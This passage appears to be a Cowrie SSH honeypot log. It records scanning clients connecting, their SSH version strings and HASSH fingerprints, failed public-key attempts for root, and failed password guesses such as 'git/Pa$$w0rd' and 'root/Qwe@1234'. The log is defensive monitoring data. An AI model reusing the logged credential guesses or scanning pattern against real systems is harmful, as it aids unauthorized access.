{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:28.292025Z","src_ip":"180.76.170.111","session":"13c133d64f69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.42.205.100","src_port":51858,"dst_ip":"10.17.0.5","dst_port":22,"session":"f429b89082ff","protocol":"ssh","message":"New connection: 194.42.205.100:51858 (10.17.0.5:22) [session: f429b89082ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:28.824544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:28.829115Z","src_ip":"194.42.205.100","session":"f429b89082ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:28.942172Z","src_ip":"194.42.205.100","session":"f429b89082ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:29.244249Z","src_ip":"180.76.170.111","session":"13c133d64f69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:29.449374Z","src_ip":"103.27.238.114","session":"d89c3e978726","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:8c:bd:4a:b5:7b:76:e4:66:35:60:42:16:b5:51:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs3A7euxFWoF3XQVNAB9DnG2uyhQFmhHU2dTGggMttxTYvYVGZmksmDBON9cGtIekiVhqql44MTXLyxqggC81nCNyxVMRDDruXPAYCdd5M7Ids6FaQ4RlzAxsmd6pQykO7viPSBM+Wae5cX0bDrIEPh2X15WYip+OfpYwqSHIjm21Nl7BX0fSwEFQCOmA7yeFbKYkj1PTehyMDvQsJkjEhOgvMz6htuvgl7UFYrM/FGHTcR7+zv/DqZ4l3S+mWEIg5lNHrOWF9wFNgiyzjskEfu4u3xLGBJ+GVXWi9jy3desnjGN2HiJYxr6VSfIfKxVUjFLv+Hiaeb4Oq1x5zFeCv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:8c:bd:4a:b5:7b:76:e4:66:35:60:42:16:b5:51:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:29.482146Z","src_ip":"194.42.205.100","session":"f429b89082ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:8c:bd:4a:b5:7b:76:e4:66:35:60:42:16:b5:51:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs3A7euxFWoF3XQVNAB9DnG2uyhQFmhHU2dTGggMttxTYvYVGZmksmDBON9cGtIekiVhqql44MTXLyxqggC81nCNyxVMRDDruXPAYCdd5M7Ids6FaQ4RlzAxsmd6pQykO7viPSBM+Wae5cX0bDrIEPh2X15WYip+OfpYwqSHIjm21Nl7BX0fSwEFQCOmA7yeFbKYkj1PTehyMDvQsJkjEhOgvMz6htuvgl7UFYrM/FGHTcR7+zv/DqZ4l3S+mWEIg5lNHrOWF9wFNgiyzjskEfu4u3xLGBJ+GVXWi9jy3desnjGN2HiJYxr6VSfIfKxVUjFLv+Hiaeb4Oq1x5zFeCv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:29.491024Z","src_ip":"194.42.205.100","session":"f429b89082ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:ae:ad:c5:81:79:c6:0f:24:1a:b7:fd:6a:ff:48:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMv6Jx0Pr4cF0n4VbLFvQE24iAvSoMZDsuJp0NRBRBzf07cbyK/yYdlVWkctMhIvbcNZdQ9I4TJVLPX/NGhHO1Za7WTw+OzukZrm/9jdL57xjR1wG5FsSxj+XVr8wrq5TS5stlyp5/N+dcu70gnOwFKlSsBk8pdk6pQu1CLrgMyfMQ1UfUVInbQD8hDHa+hxAqq+he5oAanLxOtuVXB74sJnhR+coLJYHSy4OcPhUaHxWKEFDsw+aQB/yXVW0Ev78tl4l0yw30s7LxYVworuvaIBbcmxeN9IEuM3KqYELA3k6xZB4Y7+V8zkw1Cog2D5fq/Lo2UvOhgGtat2IFsYXB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:ae:ad:c5:81:79:c6:0f:24:1a:b7:fd:6a:ff:48:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:29.606213Z","src_ip":"194.42.205.100","session":"f429b89082ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:ae:ad:c5:81:79:c6:0f:24:1a:b7:fd:6a:ff:48:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMv6Jx0Pr4cF0n4VbLFvQE24iAvSoMZDsuJp0NRBRBzf07cbyK/yYdlVWkctMhIvbcNZdQ9I4TJVLPX/NGhHO1Za7WTw+OzukZrm/9jdL57xjR1wG5FsSxj+XVr8wrq5TS5stlyp5/N+dcu70gnOwFKlSsBk8pdk6pQu1CLrgMyfMQ1UfUVInbQD8hDHa+hxAqq+he5oAanLxOtuVXB74sJnhR+coLJYHSy4OcPhUaHxWKEFDsw+aQB/yXVW0Ev78tl4l0yw30s7LxYVworuvaIBbcmxeN9IEuM3KqYELA3k6xZB4Y7+V8zkw1Cog2D5fq/Lo2UvOhgGtat2IFsYXB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:29.610619Z","src_ip":"194.42.205.100","session":"f429b89082ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:f4:37:65:11:c1:3f:1b:e3:de:b4:a4:63:2e:5b:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1GP7vyVo4MlLZxsUiyH0kl61TV8N0jrs9xck6qYk5w7XrYvntHaZKvbsj5HtqtaV+2g0+nCJEYZfTN5eXWDVthz2wtIh3wSQQ7Yha/QMP+jb94MzcTvpg4r4Gsca6pqddwc4rsrtGPoJ88qsnH5Q6YV3E95NWfyzNQtO+4UWQzAHiaJ6h+WfXY4se20C5p83w45C4HFMPJ2hKUjrRtovs/ad/W7e/YtxiL7kWbCegIjmg/9P1saeaR1DbFxeLTi0UC3zH98WXinI/RaXFqMP/Mssfwb3qPjV8sahAX/OiU+1c56zIYHSHJkR8c+vEPP/j5HdG4wy7I9rBmiSwGNFz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:f4:37:65:11:c1:3f:1b:e3:de:b4:a4:63:2e:5b:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:29.724464Z","src_ip":"194.42.205.100","session":"f429b89082ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:f4:37:65:11:c1:3f:1b:e3:de:b4:a4:63:2e:5b:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1GP7vyVo4MlLZxsUiyH0kl61TV8N0jrs9xck6qYk5w7XrYvntHaZKvbsj5HtqtaV+2g0+nCJEYZfTN5eXWDVthz2wtIh3wSQQ7Yha/QMP+jb94MzcTvpg4r4Gsca6pqddwc4rsrtGPoJ88qsnH5Q6YV3E95NWfyzNQtO+4UWQzAHiaJ6h+WfXY4se20C5p83w45C4HFMPJ2hKUjrRtovs/ad/W7e/YtxiL7kWbCegIjmg/9P1saeaR1DbFxeLTi0UC3zH98WXinI/RaXFqMP/Mssfwb3qPjV8sahAX/OiU+1c56zIYHSHJkR8c+vEPP/j5HdG4wy7I9rBmiSwGNFz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:29.729779Z","src_ip":"194.42.205.100","session":"f429b89082ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:27:fd:ad:ca:67:fa:e6:e3:5f:c0:c6:07:40:2c:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0CYuoN+uJ67m5niNUlFRaivQfu+4vi7xiFn7EqVaPxzClYJqzTAqiMcljEeLHT7c7za7mnZ2OJgICWa+294mXwV6FqT82zBbvUsVs7pBfUWiC2yju6RpBo8FNitZ6AzkWhYPUevMKEae/YZQGG2D3afXlaHHXSthSOD1mTZN3h/oAiHwmcug/f5GZtnCJ1INqb6srh+TJVFPMcvX+qU1TN074eGzLI68nepIyjZ19PXJtV6ydtj6oNgRsAihFxVF9lzs+RxoSM3+lIQjtuC1Q6KgSypY8g1reLjgsD4TF+WhR4D715BbqDJydw7IyUsv2zB208HJ9lMI912FlytUGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:27:fd:ad:ca:67:fa:e6:e3:5f:c0:c6:07:40:2c:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:29.842639Z","src_ip":"194.42.205.100","session":"f429b89082ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:27:fd:ad:ca:67:fa:e6:e3:5f:c0:c6:07:40:2c:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0CYuoN+uJ67m5niNUlFRaivQfu+4vi7xiFn7EqVaPxzClYJqzTAqiMcljEeLHT7c7za7mnZ2OJgICWa+294mXwV6FqT82zBbvUsVs7pBfUWiC2yju6RpBo8FNitZ6AzkWhYPUevMKEae/YZQGG2D3afXlaHHXSthSOD1mTZN3h/oAiHwmcug/f5GZtnCJ1INqb6srh+TJVFPMcvX+qU1TN074eGzLI68nepIyjZ19PXJtV6ydtj6oNgRsAihFxVF9lzs+RxoSM3+lIQjtuC1Q6KgSypY8g1reLjgsD4TF+WhR4D715BbqDJydw7IyUsv2zB208HJ9lMI912FlytUGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:29.846096Z","src_ip":"194.42.205.100","session":"f429b89082ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:3d:7a:4a:65:53:cb:97:66:04:ce:a0:a3:47:d1:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3XtDWwOy2MePpJs4TMiDXpyNNznxHxepsReyCziuOvg/VUw0ARYxP/KBtsy4Fa8qnaMhtAYscmzdL+hoyCw07jaJjcBSz7UmQ8T02iGYZdAPheW67twSdXubq+C+X7KZ8aNgjLujxWT7PnD7jl/8xIN+Si3uzQstl2k6SDhFFAAUTGEXo6RZvOuAqs5yMiwgx7bv4heK5sj0CAGy9+iGS9eCJb9lcjzZQKPIP3cQsLYWdoDEx6Zf995hh0JyUCTYkbchIlnpYDmdwV0PxueHeauBfKpbLIIYidLrok3UcYO3dKJfWLXihT9JC5JO7zWlmhWq6LGl5g/+M6rkhpWGR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:3d:7a:4a:65:53:cb:97:66:04:ce:a0:a3:47:d1:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:29.960957Z","src_ip":"194.42.205.100","session":"f429b89082ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:3d:7a:4a:65:53:cb:97:66:04:ce:a0:a3:47:d1:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3XtDWwOy2MePpJs4TMiDXpyNNznxHxepsReyCziuOvg/VUw0ARYxP/KBtsy4Fa8qnaMhtAYscmzdL+hoyCw07jaJjcBSz7UmQ8T02iGYZdAPheW67twSdXubq+C+X7KZ8aNgjLujxWT7PnD7jl/8xIN+Si3uzQstl2k6SDhFFAAUTGEXo6RZvOuAqs5yMiwgx7bv4heK5sj0CAGy9+iGS9eCJb9lcjzZQKPIP3cQsLYWdoDEx6Zf995hh0JyUCTYkbchIlnpYDmdwV0PxueHeauBfKpbLIIYidLrok3UcYO3dKJfWLXihT9JC5JO7zWlmhWq6LGl5g/+M6rkhpWGR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:29.964414Z","src_ip":"194.42.205.100","session":"f429b89082ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:30.080682Z","src_ip":"194.42.205.100","session":"f429b89082ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.104.154.26","src_port":50288,"dst_ip":"10.17.0.5","dst_port":22,"session":"1273d0332468","protocol":"ssh","message":"New connection: 112.104.154.26:50288 (10.17.0.5:22) [session: 1273d0332468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:39.115373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:39.120106Z","src_ip":"112.104.154.26","session":"1273d0332468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:39.315257Z","src_ip":"112.104.154.26","session":"1273d0332468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"Pa$$w0rd","message":"login attempt [git/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:40.132705Z","src_ip":"112.104.154.26","session":"1273d0332468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:41.331984Z","src_ip":"112.104.154.26","session":"1273d0332468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":13496,"dst_ip":"159.203.135.109","dst_port":22,"session":"57c12fe0d45b","protocol":"ssh","message":"New connection: 213.209.159.158:13496 (159.203.135.109:22) [session: 57c12fe0d45b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:50.878550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:52.038025Z","src_ip":"213.209.159.158","session":"57c12fe0d45b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:52.041703Z","src_ip":"213.209.159.158","session":"57c12fe0d45b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":56866,"dst_ip":"10.17.0.5","dst_port":22,"session":"892f7fab4f23","protocol":"ssh","message":"New connection: 20.160.86.7:56866 (10.17.0.5:22) [session: 892f7fab4f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:52.146080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:52.154255Z","src_ip":"20.160.86.7","session":"892f7fab4f23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:52.233567Z","src_ip":"20.160.86.7","session":"892f7fab4f23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe@1234","message":"login attempt [root/Qwe@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:52.582312Z","src_ip":"20.160.86.7","session":"892f7fab4f23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:53.664423Z","src_ip":"20.160.86.7","session":"892f7fab4f23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":38844,"dst_ip":"10.17.0.5","dst_port":22,"session":"138696403577","protocol":"ssh","message":"New connection: 40.83.182.122:38844 (10.17.0.5:22) [session: 138696403577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:57.773775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:22:57.779237Z","src_ip":"40.83.182.122","session":"138696403577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","dif